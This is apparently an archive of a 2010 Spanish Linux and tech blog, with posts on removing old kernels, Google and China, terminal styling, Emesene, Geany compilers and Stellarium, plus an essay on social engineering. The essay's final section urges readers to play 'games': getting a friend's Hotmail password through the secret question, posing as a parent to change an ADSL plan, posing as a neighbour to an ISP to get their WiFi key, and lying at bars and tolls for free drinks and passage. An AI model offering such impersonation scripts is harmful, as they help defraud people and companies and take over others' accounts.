Cuando llevamos un tiempo empleando una distribución es normal que se nos actualice varias veces el Kernel para corregir fallos y añadir mejoras. En cualquier caso si llevas más de un año sin formatear y no tienes ningún problema de compatibilidades lo mejor es que vayas dejando como mucho 3 versiones instaladas ya que como es lógico el consumo de disco tiene su importancia.

Para saber que versiones del kernel tenemos instaladas ejecutaremos el siguiente comando:

dpkg --get-selections | grep linux-image

Como se puede observar tengo 3 versiones del núcleo o Kernel. La última que se muestra no debes borrarla porque es necesaria para poder seguir actualizando el Kernel. En cualquier caso y como dijimos anteriormente si tienes más de 3 procede a borrar las más antiguas. Para borrarlo es realmente sencillo, sólo hay que ejecutar en un terminal lo siguiente modificando las X por el número de versión.

sudo aptitude purge linux-image-X.X.XX-XX-generic

Listo, ya tenéis borrado parte de los kernels que no usáis con lo que ahorraréis espacio, aproximadamente 60 mb y además tendréis un elemento menos en la lista de inicio del GRUB.

Dont Be Evil - Retirada del filtro de búsquedas

2010-01-13T01:37:00.002+01:00

Según leo a través del blog oficial de Google, el mayor buscador del mundo ha dejado de censurar las búsquedas en China debido a unos extraños ataques que sufrieron en China y que propiciaron el robo de información privada de Google.

Además como indica la noticia, no sólo Google fue atacada si no una serie de empresas de tecnología y finanzas con una fuerte posición en internet. Además por si fuera poco, Google ha descubierto que la información buscada eran las contraseñas de las cuentas de correo de usuarios chinos defensores de los derechos humanos.

Google también afirma que no han sido robadas explotando fallos de Gmail si no que han sido robadas con malware o phising instalado en los ordenadores de los usuarios. Todo esto suena bastante contradictorio ya que google afirma que le han robado información privada y que las cuentas de gmail han sido robadas por phising. Si así fuera, no creo que hubiese sido el gobierno Chino. En cualquier caso hay que aplaudir que dejen de censurar sus reulstados en google.cn .

En unas cuantas semanas sabremos como irán las nuevas negociaciones con el gobierno chino y cual será el futuro del buscador en el gigante asiático.

Modificar terminal gráficamente

2010-01-12T20:06:00.000+01:00

Tras la captura de pantalla que añadí a la entrada sobre Emesene, alguno que otro me ha preguntado como tengo el terminal con esos colores. La respuesta en realidad es bien sencilla. Si queremos modificar gráficamente nuestro terminal sólo tendremos que abrir un terminal: Aplicaciones > Accesorios > Terminal

Una vez abierto pulsaremos sobre Editar > Preferencias del perfil
Se nos abrirá un panel con ciertas opciones. En la pestaña General modificaremos la tipografía por Monospace pero la cambiaremos a Bold para que reesalte más.

En la pestaña de colores, desactivaremos la casilla Usar colores del tema del sistema y usaremos de los esquemas incluidos el de verde sobre negro.

Por último en la pestaña fondo escogeremos Fondo transparente y moveremos la barra hasta aproximadamente el 40%.

En cualquier caso siempre puedes modificar el terminal como quieras, para gustos los colores!

Ingeniería Social - Herramienta muy potente.

2010-01-12T06:12:00.007+01:00

* Recuperación de contraseña hotmail.

Con el término ingeniería social se define el conjunto de técnicas psicológicas yhabilidades sociales utilizadas de forma consciente y muchas veces premeditada para la obtención de información de terceros.

No existe una limitación en cuanto al tipo de información ytampoco en la utilización posterior de la información obtenida. Puedeser ingeniería social el obtener de un profesor las preguntas de unexamen o la clave de acceso de la caja fuerte del Banco de España. Sinembargo, el origen del término tiene que ver con las actividades deobtención de información de tipo técnico utilizadas por hackers.

Un hecho importante es que el acto de ingeniería social acabaen el momento en que se ha conseguido la información buscada. Lasacciones que esa información pueda facilitar o favorecer no se enmarcanbajo este término. En muchos casos los ingenieros sociales no tocan unordenador ni acceden a sistemas, pero sin su colaboración otros notendrían la posibilidad de hacerlo.

¿Por qué el "caballo de Troya" no es Ingeniería Social?

Existe una tendencia que trata la ingeniería social como una formade engaño, equiparable al caballo de Troya o a cualquier forma de timo,como el de la estampita.

Tendremos en cuenta 2 factores al respecto: en primer lugar, enel caso de la IS puede no haber engaño de ningún tipo. Una persona lepide a otra su contraseña o cualquier otra información en un entorno deconfianza y la otra se la da sin presión ni engaño alguno. Luego elmito de que la IS se basa en un engaño, no es correcto en todos loscasos.

Y segundo: suele existir un componente técnico o tecnológico.El timo de la estampita y la ingeniería social no tienen mucho que verporque ésta se basa en amplios conocimientos de psicología aplicada yde las tecnologías sobre las que se quiere obtener información.
Por ejemplo: en el mundo del underground, de los hackers,las relaciones se basan en el respeto. Son mundos bastante cerrados degente que en algunos casos pueden realizar actividades ilegales. Parapoder acceder a él hay que tener tantos conocimientos como ellos y asíser considerado como un "igual".

Además deberán aportarse conocimientosa compartir que de forma clara permitan ganarse el respeto de estosgrupos. Sólo de esta forma se tendrá acceso a determinadasinformaciones.

Esto mismo ocurre en el mundo de las empresas de altatecnología en las que se desarrollan proyectos reservados, donde lacalificación técnica necesaria paraentender la información que se quiere obtener es muy alta.

Lasoperaciones de ingeniería social de este nivel pueden llevar meses decuidada planificación y deevaluación de muchos parámetros, van más allá de una actuación puntualbasadaen una llamada con más o menos gracia o picardía.

Muchas veces, el Ingeniero Social simplemente observa elentorno y aprovecha datos que están a la vista cuando el sentido comúnindica que deberían guardarse en un lugar seguro. Es el caso de unservidor de una delegación de la Agencia Tributaria española cuyacontraseña está puesta en un “post-it” en su pantalla. Sólo hay quetener capacidad de observación de este tipo de detalles.

¿Qué tiene que ver la Ingeniería Social con la seguridad informática?

La seguridad informática tiene por objetivo el asegurar que losdatos que almacenan nuestros ordenadores se mantengan libres decualquier problema, y que el servicio que nuestros sistemas prestan serealice con la mayor efectividad y sin caídas. En este sentido, laseguridad informática abarca cosas tan dispares como:

* Los aparatos de aire acondicionado que mantienen los sistemas en las temperaturas adecuadas para trabajar sin caídas.
* La calificación del equipo de administradores que deberáconocer su sistema lo suficiente como para mantenerlo funcionandocorrectamente.
* La definición de entornos en los que las copias de seguridad han de guardarse para ser seguros y como hacer esas copias.
* El control del acceso físico a los sistemas.
* La elección de un hardware y de un software que no de problemas.
* La correcta formación de los usuarios del sistema.
* El desarrollo de planes de contingencia.

Debemos tener en cuenta que una gran parte de las intrusiones ensistemas se realizan utilizando datos que se obtienen de sus usuariosmediante diferentes métodos y con la intervención de personasespecialmente entrenadas, los ingenieros sociales.

Técnicas de Ingeniería Social

Tres tipos, según el nivel de interacción del ingeniero social:

Técnicas Pasivas:
    * Observación
Técnicas no presenciales:
    * Recuperar la contraseña
    * Ingeniería Social y Mail
    * IRC u otros chats
    * Teléfono
    * Carta y fax
Técnicas presenciales no agresivas:
    * Buscando en La basura
    * Mirando por encima del hombro
    * Seguimiento de personas y vehículos
    * Vigilancia de Edificios
    * Inducción
    * Entrada en Hospitales
    * Acreditaciones
    * Ingeniería social en situaciones de crisis
    * Ingeniería social en aviones y trenes de alta velocidad
    * Agendas y teléfonos móviles
    * Desinformación
Métodos agresivos:
    * Suplantación de personalidad
    * Chantaje o extorsión
    * Despersonalización
    * Presión psicológica

Cuándo nace la Ingeniería Social en España

Corre el año 1986/87, se empiezan a instalar algunos sistemas BBS enMadrid, Barcelona, Zaragoza. No había acceso a Internet mas allá de lasuniversidades (en estas sólo el profesorado tenía acceso, es elnacimiento de RedIris) y de las conexiones UUCPque, más tarde, montaría la compañía Goya Servicios Telemáticos y queeran carísimas para la mayoría de usuarios. No existía Web, únicamenteNews, Mail y los protocolos de búsqueda de información tipo gopher oarchie. Los servidores estaban instalados sobre todo en USA.

Lo que uno podía encontrar en una BBS de aquella época eranficheros agrupados por temas y mensajes que corrían de unos usuarios aotros, utilizando la base de lo que después sería la red Fidonet u otras basadas en la misma tecnología.

En estas redes, las llamadas entre los nodos las realizabanusuarios "mecenas" que corrían con el precio de esas llamadas. Losmódems eran muy lentos, 1200 o 2400 bps. los mas rápidos, y lasllamadas eran muy caras. Esto tenía como consecuencia que un usuario nopudiera bajarse toda la información que quería ni conectarse ademasiadas BBS, so pena de arruinarse con la factura del teléfono... oarruinar a sus padres.

Así como estaban las cosas, era difícil compartir información propia conotros usuarios y más aúnconseguir información técnica interesante que sí se podía encontrar enotros lugaresde Europa y Estados Unidos. Los grupos de hackers buscaban formas deabaratar las llamadas de teléfono y conectarse a otros lugares. En sumayoría menores con edades entre los 11 y los 20 años, no disponían demás ingresos que la paga del domingo.

*Blue box exhibida en un museo.

El phreakingera casi una necesidad y había en nuestro país verdaderos magos delsistema telefónico que proveían de "soluciones" para que los demáspudieran pasar el mayor tiempo posible conectados con el menor coste.Es importante entender que si un usuario español deseaba unainformación de una BBS finlandesa, debía llamar a Finlandia yconectarse a dicha BBS, ya que no había redes que compartieran lainformación de las BBS del Underground.
Se utilizaban muchas técnicas para no pagar las llamadas, desde el uso de "bluebox"(visto en Piratas de Sillicone Valley), que eran útiles cuando el sistema de tarificación emitía para su control tonos enla "banda vocal", esto es, en la que se transmitía la voz, hasta accesos a través desistemas PAD (Packet Assembler Dissasembler).

Sistemas casi siempre de grandes compañías que permitían, desdeuna conexión de teléfono normal, conectarse a redes de paquetes como laespañola X.25 y a los que se accedía desde números 900 (¿Cuántoshackers de la época utilizaron el famoso PAD de la Shell Oil?) ytambién números de tarjetas de teléfono americanas, las llamadas“callings cards” de MCI o de AT&T, que se conseguían de forma más omenos ilegal.

Virgin Boy era un danés que, con sus 15 años, había descifradoel algoritmo de creación de los códigos de 14 dígitos de las tarjetasde AT&T y se dedicó durante años a vender dichos números al módicoprecio de 100 dólares USA, hasta que desapareció de las redes hacia elaño 1995.

En muchos casos, para conseguir informaciones de cómo utilizarciertas funcionalidades de una central de telefónica, o el acceso a unared, era necesario el uso de ingeniería social. Así, algunos hackerscomenzaron a especializarse en esas tareas. El abanico de posibilidadesse multiplicó: no sólo el sistema telefónico sinó las configuracionesde servidores, contraseñas de sistemas, datos de compañías empezaron aser objetivo de los ingenieros sociales, que al facilitárselos a otroshackers les facilitaban en mucho sus tareas, ya que se podían dedicar alo que realmente les interesaba, aprender sistemas.

Son los tiempos en los que nacen !Hispahack, Apòstols, AFL, KhK Conspiradoresy muchos otros grupos ya extinguidos. En cada uno de ellos hay por lomenos un experto en ingeniería social, o bien buscan a especialistas enesta materia para temas concretos.

Esto supone un importante cambio sociológico pues los hackersson, en su mayoría, autodidactas que han aprendido muchísimo en lasoledad de su habitación, leyendo manuales, conectándose a lugares delos que aprendían; sin embargo, es cuando comienzan a trabajar enequipo cuando sus logros se hacen mas importantes y, aunque existe elcelo por la información, dentro del grupo esta se comparte de unamanera fluida.

Se produce un fenómeno interesante a este respecto: lapráctica de técnicas de ingeniería social para conseguir información deotros grupos de hackers.
Estos grupos crecían de 2 formas: la primera porque loscomponentes estaban en la misma ciudad o eran usuarios de la misma BBSy, en reuniones de usuarios de las BBS, se conocían hablando de sustemas favoritos y se ponían a trabajar juntos.

La otra era cuando en alguno de esos grupos se te invitaba aentrar porque habían leído un documento escrito por ti en alguna BBS, oalgún mensaje dejado en las áreas de hackers que estaban abiertas atodo el mundo. En casi todas las BBS se abrían áreas ocultas sólo paraun grupo determinado de usuarios y otras abiertas que servían un pococomo cantera o filtro.

Bases de la Ingeniería Social

*Escena de la película atrapame si puedes, claro ejemplo de la ingeniería social.

El famoso Kevin Mitnick, propuso las bases de la IS en 4 sencillas frases:

* Todos queremos ayudar.
* El primer movimiento es siempre de confianza hacia el otro.
* No nos gusta decir No.
* A todos nos gusta que nos alaben.

Además demostró en directo en una conferencia de Buenos Aires en escasos minutos y mediante tan sólo 6 llamadas lo fácil que era conseguir el código en desarrollo de un nuevo móvil que no estaba ni anunciado para el mercado.

¿Puedo probar?

Por supuesto. Si de verdad te gusta este tema lo primero que te recomiendo es que te andes con cuidado. La suplantación de identidad es un delito. Ahora que ya sabes esto, te invito a que juegues a tres divertidos juegos:

    * Intenta recuperar la contraseña de hotmail de un amigo tuyo hablando con el de los viejos tiempos y preguntándole por la respuesta de su contraseña secreta.
    * Si conoces el número de te teléfono fijo de un amigo tuyo y su compañía, hazte pasar por su padre o madre y realiza un aumento de velocidad en su ADSL.
    * Si sabes que tu vecino tiene wifi y esta esta en WEP y es un cateto en ordenadores, intenta conseguir su contraseña. Llama a su proveedor de servicios, hazte pasar por el, di que te has comprado un portatil de los chiquitos y que no te acuerdas de la contraseña del guailex. Te dirá que mires la pegatina del router y tu le dirás que se esta raspada la pegatina y no es legible. Si te pregunta el modelo de router hazte el cateto, ella lo tiene todo en la pantalla, acabará perdiendo la paciencia y dándotelo todo.

También te recomiendo que pruebes juegos presenciales. Aquí os dejo dos ejemplos que a mi me funcionaron xD.

* En festivales, te acercas a la barra y dices que el jefe de seguridad te ha mandado a por unos conbinados de whiscky con cola para unos artistas, en concreto son 2 copas de whisky y una de ron. (siempre cuela mientras tengas el pelo corto y seas grande)
* En los peajes, antes de llegar a la zona de pago, fíjate en que compañía la explota e inventate una panoja de que tu tío es accionista y te ha dicho que digas en la cabina que vas de parte suya y que te ha dicho también que deberías haberle llamado antes ya que hay unas tarjetas especiales de invitación pero que no ha podido mandártelas porque está comiendose un cochinillo en Salamanca. (funciona muchas veces) *Nótese también que tu tío debe tener un nombre muy de empresario como Jose Manuel del Valle Sanz Arrandiburu.

Emesene - Alternativa a MSN messenger

2010-01-12T05:31:00.002+01:00

Hace tiempo hablamos de Amsn2, del cambio radical que había tenido el equipo y de lo rápido que iba a ser. También hablamos de Empathy, y de que no estaba demasiado pulido.

El caso es que mientras andaba trasteando con distribuciones y tras ver que Amsn consumía bastantes recursos, decidí darle otra oportunidad a Emesene. Este popular programa es sin duda la mejor alternativa al clásico messenger privativo. Tiene soporte de skins o pieles, es muy configurable, acepta plugins y por supuesto, acepta webcam.

Con el cambio de distribución a Karmic, Ubuntu añadió a sus repositorios la versión más actualizada de este programa, corrigiendo entre otras, un montón de fallos de la antigua versión y añadiendo nuevas funcionalidades muy potentes. Para instalarlo, es realmente sencillo, abre un terminal y escribe:

sudo apt-get install emesene

Una vez instalado procederemos a configurarlo a nuestro gusto. Cuando ejecutéis el programa veréis que es muy parecido al MSN messenger y además también comprobaréis que cumple estupendamente sus funciones.
Para empezar con esta tarea primeramente necesitaremos meter nuestro usuario y contraseña e iniciar sesión.
Una vez esta este iniciada, pulsaremos sobre opciones y preferencias en la barra de menús. En la pestaña tema escogeremos entre los estilos de conversación el que más nos guste. Es recomendable usar el estilo messenger.

Para la pestaña de interfaz es recomendable activar las opciones: Usar varias ventanas (sin pestañas), Mostrar Avatares, Colocar avatares al lado derecho, Mostrar avatares en barra de tareas, No cerrar la conversación pulsando ESC, No molestar en estado Ocupado y Evitar cerrar la ventana cuando un nuevo mensaje llegue.

En la opción Transferencia de archivos, lo suyo es ordenar los archivos recibidos por emisor. Para ello sólo tendremos que activar la casilla y buscar la carpeta que deseamos utilizar.

Por último en cuanto a la Cámara web, sólo tendremos que escoger nuestro dispositivo y pulsar cerrar.

En cuanto a la configuración de los contactos tenemos en la barra de menús, la opción Ver, donde es recomendable escoger Ordenar por grupo , ordenar grupos por nombre, mostrar apodos y mostrar número de contactos.

Hasta aquí todo bien, ahora solo falta activar ciertos complementos para que nuestra experiencia sea mejor. Para ello mismo iremos a la barra de menú y pulsaremos sobre Opciones y luego sobre complementos. Ahora procederemos a activar los complementos CurrentSong, Complemento Last Said, Registrador de Conversación, Mensaje Personal, PlusPlus, Sonido, Zumbido y Recibiendo Guiño.

Para configurar el sonido, tendremos que activar la casilla Sonido. Se escucharan los sonidos de Pidgin que son un poco cutres aunque podremos configurar los sonidos a nuestro gusto pulsando en propiedades.

En cualquier caso si queremos cambiar de temas de sonido están disponibles unos muy parecidos al messenger aquí . Una vez descargamos los extraemos en el Escritorio y procedemos a moverlos. Para ello procederemos a ejecutar los comandos que muestra la siguiente imagen:

cd Escritorio
unzip sonidos.zip
sudo mv "Windows Live Messenger" /usr/share/emesene/sound_themes

Por último volveremos a complementos, pulsaremos sobre sonido y escogeremos los sonidos de Live Messenger.

Actualización: Si recibes un mensaje al intentar usar la webcam diciendo:

You don't have libmimic, so you can't send or receive webcam

Ejecuta en un terminal:

sudo apt-get install python-libmimic python-dev

Cierra el programa, vuelvelo a abrirlo y problema resuelto.

Geany compilando PHP, PASCAL y ADA 95

2010-01-07T10:17:00.001+01:00

Compilar y ejecutar ADA 95 en Geany es posible. Sólo hay que tener instalado la versión 4.4 de GNAT. Por defecto el instalador de Ubuntu e los repostorios instala la versión 4.3 por lo que no podemos compilar.
Para instalar la versión 4.4 es tan sencillo como ejejcutar en un terminal:

sudo apt-get install gnat-4.4

También es posible compilar PHP. Para ello instalaremos el cliente de PHP en un terminal:

sudo apt-get install php5-cli

Para el caso de PASCAL es tan sencillo como instalar el compilador:

sudo apt-get install fpc

Con todo esto ya podréis compilar y ejecutar todos estos lenguajes en vuestro IDE ligero y rápido.

Stellarium - Mira las estrellas en tu PC

2010-01-06T10:07:00.016+01:00

Hoy os traigo un programita interesante que nos permite ver las estrellas. Es software libre y multiplataforma. Además aporta numerosos efectos interesantes y es fácil e intuitivo.

El programa en cuestión se llama Stellarium y lo podéis descargar en el terminal ejecuntando:

sudo apt-get install stellarium

Si no os gusta el modo pantalla completa, como es mi caso, tendréis modificar el archivo de configuración mediante el siguiente comando:

gedit .stellarium/config.ini

Aquí cambiaremos:

fullscreen = true

Por

fullscreen = false

Una vez realizados todos los cambios, guardamos y abrimos el programa. Su manejo es fácil. Rueda del ratón para hacer zoom y clicks para movernos por el cielo. Si queremos ayudas, bajamos el ratón a la esquina inferior izquierda y nos aparecerá una barra con opciones. ¡Ya no hay excusa para no ver las estrellas!